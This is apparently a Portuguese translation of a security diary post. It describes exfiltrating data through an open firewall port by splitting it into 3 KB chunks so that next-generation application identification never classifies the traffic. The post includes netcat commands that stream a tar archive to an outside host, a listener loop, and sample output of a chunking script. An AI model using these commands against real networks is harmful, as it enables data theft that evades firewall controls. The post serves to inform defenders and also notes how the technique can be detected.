Ignorar controle de aplicativos para exfiltração de dados

No caso de um incidente cibernético, a maioria das organizações teme mais a perda de dados (via exfiltração) do que a criptografia regular de dados, porque possuem uma boa política de backup em vigor. Se a exfiltração aconteceu, significa uma perda total de controle dos dados roubados com todas as consequências (PII, números CC,…).

Ao realizar uma avaliação de segurança de uma rede corporativa, descobri que uma porta TCP estava aberta à Internet selvagem, mesmo que a empresa auditada tivesse uma política de firewall bastante forte. A porta aberta foi descoberta por meio de uma verificação regular de portas. Nessa situação, você tenta explorar essa “brecha” no firewall. O que fiz foi tentar exfiltrar dados através desta porta. É fácil: simule um servidor controlado por um agente de ameaça:

root@attacker:~# nc -l -p 12345 >/tmp/victim.tgz

E, de um servidor na rede da vítima:

root@victim:~# tar czvf - /juicy/data/to/exfiltrate | nc wild.server.com 12345

Funcionou, mas a transferência de dados falhou após aproximadamente 5 KB de dados enviados… estranho! Cada vez, a mesma situação. Conversei com um administrador de rede local que disse ter um firewall da Palo Alto Networks instalado com o App-ID habilitado nesta porta.

Observação: O que estou explicando aqui não está diretamente relacionado a esta marca de firewall. O mesmo problema pode se aplicar a qualquer firewall de “próxima geração”! Por exemplo, os firewalls Checkpoint usam a lâmina App Control e os firewalls Fortinet usam “Application Control”.

O App-ID nos firewalls da Palo Alto Networks é o componente que realiza a classificação do tráfego na(s) rede(s) protegida(s), independentemente da porta, protocolo ou criptografia. Em vez de depender de regras tradicionais baseadas em portas (por exemplo, TCP/80 == HTTP), o App-ID analisa o tráfego em tempo real para determinar a aplicação real (por exemplo, Facebook, Dropbox, aplicativos personalizados), permitindo políticas de segurança mais granulares e precisas. Isso permite que os administradores permitam, neguem ou controlem aplicativos diretamente, apliquem regras baseadas no usuário e imponham perfis de segurança (IPS, filtragem de URL, etc.) com base na verdadeira natureza do tráfego, em vez de indicadores superficiais como portas. Isso também evita que protocolos conhecidos sejam usados ​​em portas exóticas (ex: SSH sobre 12222).

O principal problema dessa técnica é que pacotes suficientes devem ser enviados pela rede para realizar uma boa classificação. Assim, o tráfego é sempre permitido primeiro e, caso algo ruim seja detectado, os pacotes restantes são bloqueados.

Em termos de volume de dados, não há um limite fixo estrito, mas na prática o App-ID geralmente precisa de pelo menos os primeiros KB de carga útil do aplicativo para alcançar uma classificação confiável. Grosso modo:

• <1 KB (ou apenas pacotes de handshake): quase sempre insuficiente → classificação provavelmente desconhecida ou muito genérica
• ~1–5 KB: identificação básica possível para protocolos simples ou de texto não criptografado (HTTP, DNS, alguma detecção baseada em TLS SNI)
• ~5–10+ KB: confiança muito maior, especialmente para aplicativos criptografados ou complexos

É por isso que minhas tentativas de exfiltrar dados foram todas bloqueadas após aproximadamente 5 KB.

Podemos contornar isso? Vamos tentar o seguinte cenário:

No host externo (gerenciado por mim, o “Threat Actor”), vamos executar um netcat em um loop infinito com um pequeno timeout (porque o firewall não irá interromper a conexão, apenas bloquear os pacotes:

i=0
while true; do
    filename=$(printf "/tmp/chunk_%04d.bin" "$i")
    nc -l -p 12345 -v -v -w 5 >$filename
    echo "Dumped $filename"
    ((i++))
done

No computador da vítima, codifiquei (vibe-) um script Python que executará as seguintes tarefas:
– Ler um arquivo
– Divida-o em pedaços de 3 KB
– Enviar tudo para uma conexão TCP (com novas tentativas em caso de falha do código)

O código está disponível no Pastebin(1). Exemplo:

root@victim:~# sha256sum data.zip
955587e24628dc46c85a7635cae888832113e86e6870cba0312591c44acf9833  data.zip
root@victim:~# python3 send_file.py data.zip wild.server.com 12345
File: 'data.zip' ((359370 bytes) -> 117ll chunk(s) of up to 3072 bytes.
Destination: wild.server.com:12345  (timeout=5s, max_retries=10)

  Chunk 1/1177 sent successfully (attempt 1).
  Chunk 2/1177 sent successfully (attempt 1).
  Chunk 3/1177 sent successfully (attempt 1).
  Chunk 4/1177 sent successfully (attempt 1).
  Chunk 5/1177 sent successfully (attempt 1).
  Chunk 6/1177 sent successfully (attempt 1).
  Chunk 7/1177 sent successfully (attempt 1).
  Chunk 8/1177 sent successfully (attempt 1).
  Chunk 9/1177 sent successfully (attempt 1).
  Chunk 10/1177 sent successfully (attempt 1).
  Chunk 11/1177 sent successfully (attempt 1).
  Chunk 12/1177 sent successfully (attempt 1).
  (...)

E no lado remoto são criados pedaços, basta reconstruir o arquivo original:

root@attacker:~# cat /tmp/chunk_0* >victim.zip
root@attacker:~# sha256sum victim.zip
955587e24628dc46c85a7635cae888832113e86e6870cba0312591c44acf9833  victim.zip

O arquivo foi exfiltrado com sucesso! (os hashes SHA256 são idênticos). Claro, é lento, mas não gera picos de largura de banda que possam revelar uma enorme quantidade de dados sendo exfiltrados!

Essa técnica funcionou para mim com um arquivo de alguns megabytes. É mais uma prova de conceito porque os firewalls podem implementar mais controles de detecção. Por exemplo, esta técnica é fácil de detectar devido ao grande número de pequenas conexões TCP que podem parecer beacons de malware. Também pode ser útil criptografar seus dados porque os pacotes podem ser sinalizados pelo componente IDS do firewall…

(1) https://pastebin.com/Ct9ePEiN

Xavier Mertens (@xme)
Xameco
Manipulador ISC Sênior – Consultor Freelance de Segurança Cibernética

Chave PGP